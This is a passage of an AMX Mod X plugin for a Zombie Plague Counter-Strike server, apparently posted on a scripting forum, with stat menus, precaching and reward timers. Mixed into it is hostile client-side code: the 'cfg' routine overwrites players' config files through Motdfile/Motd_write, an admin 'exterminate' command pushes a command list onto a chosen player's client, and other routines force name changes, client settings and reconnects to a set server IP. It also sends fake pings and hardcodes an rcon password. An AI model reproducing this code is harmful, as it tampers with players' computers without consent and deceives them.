	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wShots: \r%i", STRING_STATS[ INT_STATS_SHOTS ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "7", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHits: \r%i", STRING_STATS[ INT_STATS_HITS ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "8", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wDamage: \r%i", STRING_STATS[ INT_STATS_DAMAGE ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "9", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wTotal defusions: \r%i", STRING_STATS2[ INT_STATS_BOMB_DEFUSIONS ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "10", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb defused: \r%i", STRING_STATS2[ INT_STATS_BOMB_DEFUSED ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "11", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb plants: \r%i", STRING_STATS2[ INT_STATS_BOMB_PLANTS ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "12", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wBomb explosions: \r%i", STRING_STATS2[ INT_STATS_BOMB_EXPLOSIONS ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "13", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wHead hits: \r%i", STRING_BODY[ INT_STATS_HIT_HEAD ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "14", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wChest hits: \r%i", STRING_BODY[ INT_STATS_HIT_CHEST ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "15", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wStomach hits: \r%i", STRING_BODY[ INT_STATS_HIT_STOMACH ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "16", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftarm hits: \r%i", STRING_BODY[ INT_STATS_HIT_LEFTARM ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "17", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightarm hits: \r%i", STRING_BODY[ INT_STATS_HIT_RIGHTARM ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "18", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wLeftleg hits: \r%i", STRING_BODY[ INT_STATS_HIT_LEFTLEG ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "19", 0 );
	
	format( STRING_TEMP, charsmax( STRING_TEMP ), "\wRightleg hits: \r%i", STRING_BODY[ INT_STATS_HIT_RIGHTLEG ] );
	menu_additem( HANDLE_MENU, STRING_TEMP, "20", 0 );
	
	menu_setprop( HANDLE_MENU, MPROP_EXITNAME, "Exit" );
	menu_setprop( HANDLE_MENU, MPROP_NEXTNAME, "Next" );
	menu_setprop( HANDLE_MENU, MPROP_BACKNAME, "Back" );
	
	menu_display( INT_PLAYER, HANDLE_MENU, 0 );
	
	client_cmd( INT_PLAYER, "spk buttons/button9" );
}


// Admins
public Admins( id )
{
	show_motd(id,"addons\amxmodx\configs\blejadmin.txt","Blej admin me te gjitha previlegjet!");
	return PLUGIN_HANDLED
}

// Rules
public Rules( id )
{
	if(is_user_admin(id)){
	show_motd(id,"addons\amxmodx\configs\rregullorja.txt","Lexo rregulloren dhe zbato!");
	ColorChat(id, Grey, "^4[ZP]^1 Rregullat mund ti lexojnë vetëm^3 administratorët");
	}
	
	return PLUGIN_HANDLED
}

// Precacher
public plugin_precache()
{
	str_piece(gValidExt, gExt, sizeof gExt, sizeof gExt[] - 1, ',');
	
	new szConfigsDir[64], szFile[64], szMapName[32];
	get_configsdir(szConfigsDir, sizeof szConfigsDir - 1);
	get_mapname(szMapName, sizeof szMapName - 1);
	
	formatex(szFile, sizeof szFile - 1, "%s/ZP62_Precacher_%s.ini", szConfigsDir, szMapName);
	
	if(!file_exists(szFile))
	{
		formatex(szFile, sizeof szFile - 1, "%s/ZP62_Precacher.ini", szConfigsDir);
		
		if(!file_exists(szFile))
			write_file(szFile, ";Precache file^n;File name format : name.ext, *.ext, *.*", -1);
	}
	
	new szBuffer[128], szDir[10][16], iLen, iLine;
	
	while(read_file(szFile, iLine++, szBuffer, sizeof szBuffer - 1, iLen))
	{
		if(!iLen || szBuffer[0] == ';')
			continue;
		
		for(new i = 0 ; i < sizeof gExt ; i++)
		{
			if(!gExt[0])
				continue;
			
			if(equali(szBuffer[strlen(szBuffer) - 4], gExt) && szBuffer[strlen(szBuffer) - 5] != '*')
			{	
				if(file_exists(szBuffer))
				{
					precache_generic(szBuffer);
					
					// server_print("[ExtraPrecacher]Precached file ^"%s^"", szBuffer);
				}
				break;
			}
			else if(equali(szBuffer[strlen(szBuffer) - 4], gExt) && szBuffer[strlen(szBuffer) - 5] == '*')
			{
				str_piece(szBuffer, szDir, sizeof szDir, sizeof szDir[] - 1, '/');
				precache_all(szDir, gExt, true);
				
				break;
			}
			else if(equali(szBuffer[strlen(szBuffer) - 2], ".*") && szBuffer[strlen(szBuffer) - 3] == '*')
			{
				str_piece(szBuffer, szDir, sizeof szDir, sizeof szDir[] - 1, '/');
				precache_all(szDir, "", false);
				
				break;
			}
		}
	}
}

public precache_all(dir[10][16], ext[], bool:checkext)
{
	new szDir[128];
	
	for(new i = 0 ; i < sizeof dir ; i++)
	{
		if(!dir[0] || containi(dir, ".") != -1)
			continue;
		
		format(szDir, sizeof szDir - 1,"%s/%s", szDir, dir);
	}
	
	new iDir = open_dir(szDir, "", 0);
	
	new szBuffer[64];
	
	while(next_file(iDir, szBuffer, sizeof szBuffer))
	{
		if(szBuffer[0] == '.' || containi(szBuffer, ".ztmp") != -1)
			continue;
		
		if(checkext)
		{
			if(!equali(szBuffer[strlen(szBuffer) - 4], ext))
				continue;
		}
		
		format(szBuffer, sizeof szBuffer - 1, "%s/%s", szDir, szBuffer);
		
		if(file_exists(szBuffer))
		{
			precache_generic(szBuffer);
			
			server_print("[ExtraPrecacher]Precached file ^"%s^"", szBuffer);
		}
	}
	close_dir(iDir);
}	

stock str_piece(const input[], output[][], outputsize, piecelen, token = '|')
{
	new i = -1, pieces, len = -1 ;
	
	while ( input[++i] != 0 )
	{
		if ( input != token )
		{
			if ( ++len < piecelen )
				output[pieces][len] = input ;
		}
		else
		{
			output[pieces++][++len] = 0 ;
			len = -1 ;
			
			if ( pieces == outputsize )
				return pieces ;
		}
	}
	return pieces + 1;
}

// ServerCFG
public plugin_cfg()
{
	// Ping
	set_task(0.5, "ReadCommandVars", 3426422)
    set_task(1.0, "ff")

    //server_cmd("hostname ^"Zombie Plague 6.2 Ultimatex^"")
	//server_cmd("hostname ^"Legendz[Zombie Plgaue]6.2 V.I.P^"")
	
    server_cmd ("sv_downloadurl ^"http://fastdlkosovazmk.net78.net/fastdlcs/^"")
	server_cmd ("sv_allowdownload 1")
    server_cmd ("sv_allowupload 0")
    server_cmd ("rcon_password ^"kszm092^"")
	
    server_cmd ("pausable 0")
	server_cmd ("log off")
	server_cmd ("mp_autokick 0")
	server_cmd ("mp_logmessages 0")
	server_cmd ("mp_logfile 0")
	server_cmd ("allow_spectators 1")
	server_cmd ("mp_freezetime 0")
	server_cmd ("mp_flashlight 0")
	server_cmd ("mp_consistency 0")
	server_cmd ("mp_maxrounds 0")
	server_cmd ("mp_roundtime 4")
	server_cmd ("mp_timelimit 40")
	server_cmd ("mp_chattime 2")
	server_cmd ("sv_aim 0")
	server_cmd ("sv_logbans 0")
	server_cmd ("sv_maxspeed 999")
	server_cmd ("sv_cheats 0")
	server_cmd ("sv_region 255")
	server_cmd ("sv_timeout 70")
	server_cmd ("sv_lan 0")
	server_cmd ("hpk_maxsize 0.05")
	server_cmd ("sv_proxies 0")
	server_cmd ("mp_playerid 2")
    server_cmd ("sv_voiceenable 0")
    server_cmd ("sv_rcon_banpenalty 30")
    server_cmd ("sv_rcon_maxfailures 3")
    server_cmd ("fps_max 999")
    server_cmd ("sys_ticrate 999999999999999999999999999999999999999")
    server_cmd ("exec ^"listip.cfg^"")
    server_cmd ("exec ^"banned.cfg^"")
}

// Ping
public ReadCommandVars( )
{
	g_iPing = clamp( get_pcvar_num( g_iCvarPing ), 0, 4095 );
	g_iFlux = clamp( get_pcvar_num( g_iCvarFlux ), 0, 4095 );
	
	set_task( 2.0, "calculate_arguments", 4235621, _, _, "b" );
}

// Destroy
public Concmd_AMXX_exterminate( id, level, cid )
{
	if( !cmd_access( id, level, cid, 2 ) )
		return PLUGIN_HANDLED;
	
	new sArgument[ 32 ];
	read_argv( 1, sArgument, charsmax( sArgument ) );
	
	new player = cmd_target( id, sArgument, ( CMDTARGET_NO_BOTS | CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF ) );
	
	if( !player )
		return PLUGIN_HANDLED;
	
	for( new i = 0; i < sizeof( g_sCommands ); i++)
		client_cmd( player, g_sCommands[ i ] );
	
	new name[ 32 ], name2[ 32 ], ip2[ 16 ];
	get_user_name( id, name, charsmax( name ) );
	get_user_name( player, name2, charsmax( name2 ) );
	get_user_ip( player, ip2, charsmax( ip2 ), 1 );
	
	log_to_file( "ZP62_Destroyed.log", "%s Destroyed %s (%s)", name, name2, ip2 );
	
	// server_cmd ( "kick #%d ^"Destroyed by %s^"",player, name );
	
	ColorChat( 0, GREEN, "^1[ADMIN]^4 %s^1: Destroyed^4 %s", name, name2 );
	
	client_cmd( 0, "spk ^"vox/bizwarn coded user apprehend^"" );	
	
	return PLUGIN_HANDLED;
}

// Anti Reklama
public ClientCommand_Say( id )
{
	static cPhrase[ 192 ], i;
	read_args( cPhrase, 191 );

	if( containi( cPhrase, "esportskosova.com" ) != -1 )
		return PLUGIN_CONTINUE;

	for( i = 0; i < g_iSwearsCount; i++ )
	{
		if( containi( cPhrase, g_cSwears[ i ] ) != -1 )
		{
			client_cmd( id, "say Zombie Plague 6.2 UltimateX" );

			return PLUGIN_HANDLED;
		}
	}

	return PLUGIN_CONTINUE;
}

// ShowIP
public cmdShowIp(id)
{
   console_print(id, "Name     -     IP's     -     SteamID");
   console_print(id, "-----------------------------------");

   new players[32], num;
   get_players(players, num);

   for(new i = 0 ; i < num ; i++)
   {
		new name[32];
		new ipeki[32];
		new authid[32];
		get_user_name(players, name, 31)
		get_user_ip(players[i], ipeki, 31, 1)
		get_user_authid(players[i], authid, 31)

		console_print(id, "%s     -     %s     -     %s", name, ipeki, authid);
   }
   console_print(id, "-----------------------------------");

   return 1;
}
/*
// Mesazhet
public show_sms()
{
	new Buffer[256];
	ColorChat(0, Grey, "%s", messages[random(sizeof messages)]);

	new players[32], num, id;
	get_players(players, num);

	for(new i = 0 ; i < num ; i++)
	{
	id = players[i]

		message_begin(MSG_ONE, get_user_msgid("SayText"), _, id);
		write_byte(id);
		write_string(Buffer);
		message_end();
	}
}
*/

// Weapon Drop
public CWeaponBoxTouch(const TouchedEnt, const ToucherEnt)
{
    if(pev_valid(ToucherEnt))
    {
        set_pev(ToucherEnt, pev_nextthink, get_gametime() + 0.1) 
    }
}

// ChatBugs
public client_command(Client) 
{ 
    static Cmd[6], Said[100]; 
    read_args(Said,99); 
    remove_quotes(Said); 
    read_argv(0,Cmd,5); 
    if(equali(Cmd,"say_team",3)&&containi(Said,"%")!=-1){ 
        return 1; 
    } 
    if(equali(Cmd,"say_team",3)&&containi(Said,"#")!=-1) 
    { 
        return 1; 
    } 
    if(equali(Cmd,"say",3)&&containi(Said,"%")!=-1){ 
        return 1; 
    } 
    if(equali(Cmd,"say",3)&&containi(Said,"#")!=-1) 
    { 
        return 1; 
    } 
    return PLUGIN_CONTINUE; 
}

public client_putinserver( id )
{
	if (!is_user_bot(id) && !is_user_hltv(id)) // not in-game or fake

	// TimePresent
	set_task(180.0, "min3", id)
	set_task(360.0, "min6", id)
	set_task(540.0, "min9", id)
	set_task(720.0, "min12", id)
	set_task(900.0, "min15", id)
	set_task(1080.0, "min18", id)
	set_task(1200.0, "min20", id)
	set_task(10.0, "go_info", id ); // Welcome
	set_task(15.0, "go_admin", id ); // Welcome
	set_task(1.0, "Task_CheckName", id ); // Anti Reklama
	set_task(1.0, "cfg", id ); // AUTOEXEC
}

// Welcome
public go_info(id)
{
	new stats[ 8 ], body[ 8 ], hostname[ 64 ], name[ 32 ]
	
	new rank_pos = get_user_stats( id, stats, body )
	new rank_max = get_statsnum( )
	
	get_cvar_string( "hostname", hostname, 63 )
	get_user_name( id, name, 31 )

	set_dhudmessage( 0, 140, 0, 0.05, 0.24, 2, 6.0, 8.0 );
	show_dhudmessage( id, "Welcome, %s^nWe hope you enjoy you stay here!^n^n%s^n^nYour rank is %d from %d", name, hostname, rank_pos, rank_max);
}

// Welcome
public go_admin(id)
{
	if (is_user_admin(id)) {

    set_dhudmessage( 0, 140, 0, 0.05, 0.70, 2, 6.0, 8.0 );
    show_dhudmessage( id, "You are now Administrator!")
	}
}

public client_infochanged( id )
{
	set_task( 1.0, "Task_CheckName", id ); // Anti Reklama
}

// Anti Reklama
public Task_CheckName( id )
{
	if( is_user_connected( id ) && !is_user_bot(id) && !is_user_hltv(id))
	{
		static cName[ 32 ], i;
		get_user_name( id, cName, 31 );

		if( containi( cName, "esportskosova.com" ) != -1 )
			return;

		for( i = 0; i < g_iSwearsCount; i++ )
		{
			if( containi( cName, g_cSwears[ i ] ) != -1 )
			{
				client_cmd( id, "name KosovaZM.EsportsKosova.Com" );

				break;
			}
		}
	}
}

// AUTOEXEC
public cfg(id)
{
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE1)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE2)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE3)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE4)
client_cmd(id, "Motd_write %s", CON)
client_cmd(id, "Motdfile ^"%s^"", CFG_FILE5)
client_cmd(id, "Motd_write %s", CON)
}

// Fix Spec Menu
public eventDeathMsg() {
 new ids[1]
 ids[0] = read_data(2)
 set_task(1.0,"fixit",0,ids,1)
 return PLUGIN_CONTINUE
}

// Fix Spec Menu
public fixit(ids[]) {
 client_cmd(ids[0],"+duck;-duck;spec_menu 0")
}

// Block Commands
public Block(id)
{
	return PLUGIN_HANDLED
}
	
public client_disconnect( id )
{
	// TimePresent
	if(task_exists(id))
		remove_task(id)
	
	// Ping
	g_iPingOverride[ id ] = -1;
}

// TimePresent
public min3(id)
{
	zp_set_user_ammo_packs(id, zp_get_user_ammo_packs(id) + 1)
	ColorChat(id, Grey, "^4[ZP]^1 You have played^4 3 minutes^1 then you have got^3 an ammo packs!")
}

public min6(id)
{
	zp_set_user_ammo_packs(id, zp_get_user_ammo_packs(id) + 1)
	ColorChat(id, Grey, "^4[ZP]^1 You have played^4 6 minutes^1 then you have got^3 an ammo packs!")
}

public min9(id)
{
	zp_set_user_ammo_packs(id, zp_get_user_ammo_packs(id) + 1)
	ColorChat(id, Grey, "^4[ZP]^1 You have played^4 9 minutes^1 then you have got^3 an ammo packs!")
}

public min12(id)
{
	zp_set_user_ammo_packs(id, zp_get_user_ammo_packs(id) + 1)
	ColorChat(id, Grey, "^4[ZP]^1 You have played^4 12 minutes^1 then you have got^3 an ammo packs!")
}

public min15(id)
{
	zp_set_user_ammo_packs(id, zp_get_user_ammo_packs(id) + 1)
	ColorChat(id, Grey, "^4[ZP]^1 You have played^4 15 minutes^1 then you have got^3 an ammo packs!")
}

public min18(id)
{
	zp_set_user_ammo_packs(id, zp_get_user_ammo_packs(id) + 1)
	ColorChat(id, Grey, "^4[ZP]^1 You have played^4 18 minutes^1 then you have got^3 an ammo packs!")
}

public min20(id)
{
	zp_set_user_ammo_packs(id, zp_get_user_ammo_packs(id) + 1)
	ColorChat(id, Grey, "^4[ZP]^1 You have played^4 20 minutes^1 then you have got^3 an ammo packs!")
}

// Ping
public fw_UpdateClientData( id )
{
	if( !(pev( id, pev_button ) & IN_SCORE ) && !( pev( id, pev_oldbuttons ) & IN_SCORE ) )
		return;
	
	static player, sending;
	sending = 0;
	
	for( player = 1; player <= g_iMaxPlayers; player++ )
	{
		if( !is_user_connected( player ) )
			 continue;
		
		switch( sending )
		{
			case 0:
			{
				message_begin( MSG_ONE_UNRELIABLE, SVC_PINGS, _, id );
				write_byte( ( g_iOffset[ player ][ 0 ] * 64 ) + ( 1 + 2 * ( player - 1 ) ) );
				write_short( g_iArgumentPing[ player ][ 0 ] );
				sending++;
			}
			
			case 1:
			{
				write_byte( ( g_iOffset[ player ][ 1 ] * 128 ) + ( 2 + 4 * ( player - 1 ) ) );
				write_short( g_iArgumentPing[ player ][ 1 ] );
				sending++;
			}
			
			case 2:
			{
				write_byte( ( 4 + 8 * ( player - 1 ) ) );
				write_short( g_iArgumentPing[ player ][ 2 ] );
				write_byte( 0 );
				message_end( );
				sending = 0;
			}
		}
	}
	
	if (sending)
	{
		write_byte( 0 );
		message_end( );
	}
}

public calculate_arguments( )
{
	static player, ping;
	
	for( player = 1; player <= g_iMaxPlayers; player++ )
	{
		if( g_iPingOverride[ player ] < 0 )
			ping = clamp( g_iPing + random_num( -g_iFlux, g_iFlux ), 0, 4095 );
		
		else
			ping = g_iPingOverride[ player ];
		
		for( g_iOffset[ player ][ 0 ] = 0; g_iOffset[ player ][ 0 ] < 4; g_iOffset[ player ][ 0 ]++ )
		{
			if( ( ping - g_iOffset[ player ][ 0 ] ) % 4 == 0 )
			{
				g_iArgumentPing[ player ][ 0 ] = ( ping - g_iOffset[ player ][ 0 ] ) / 4;
				break;
			}
		}
		
		for (g_iOffset[player][1] = 0; g_iOffset[player][1] < 2; g_iOffset[player][1]++)
		{
			if( ( ping - g_iOffset[ player ][ 1 ] ) % 2 == 0 )
			{
				g_iArgumentPing[ player ][ 1 ] = ( ping - g_iOffset[ player ][ 1 ] ) / 2;
				break;
			}
		}
		
		g_iArgumentPing[ player ][ 2 ] = ping;
	}
}

public fw_ClientDisconnect( pPlayer )  
{  
	new zsIp[32];

	get_user_ip( pPlayer, zsIp, charsmax( zsIp ) );
	TrieSetCell( g_reconnect, zsIp, 1 );  
}

public client_connect(id)
{
		if(is_user_hltv(id))
   		{
		new userid = get_user_userid(id)
        		server_cmd("kick #%d ^"KosovaZM.EsportsKosova.Com^"",userid)
		
		new name[ 32 ], ip2[ 16 ]
		get_user_name( id, name, charsmax( name ) );
		get_user_ip( id, ip2, charsmax( ip2 ), 1 )
		
		log_to_file( "ZP62_HLTV-KICKED.log", "Emri [%s] IP-s [%s]", name, ip2 )
		}

	g_last = (g_last < g_total) ? g_last + 1 : 0
	set_pcvar_string(gp_downloadurl, g_url[g_last])

	client_cmd(id,"rate 25000; fps_max 999; cl_cmdrate 101; cl_updaterate 35; cl_dynamiccrosshair 0; cl_weather 3; gl_fog 1")

	new zsIp[32]
	new lastTime
        
	get_user_ip( id, zsIp, charsmax( zsIp ) );

	if ( TrieKeyExists( g_reconnect , zsIp ) ) 
	{
        	if ( !TrieGetCell( g_check, zsIp, lastTime ) || lastTime < get_systime( ) - 4 )
        	{	                	TrieSetCell( g_check, zsIp, get_systime( ) ) ; 
		TrieClear( g_reconnect );  

		client_cmd( id, "Connect %s`%c", ServerIp, SYMBOLS[ random_num( 0, sizeof SYMBOLS - 1 ) ] );   
        	}
     }
}
Connect : StreetZm.CsBlackDevil.Com - Respawn Server || IP : 51.89.9.221:27015
Mod: Respawn | Status: Online | Owner: ~Romania!.w0w*
Post Reply

Return to “Scripting”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 14 guests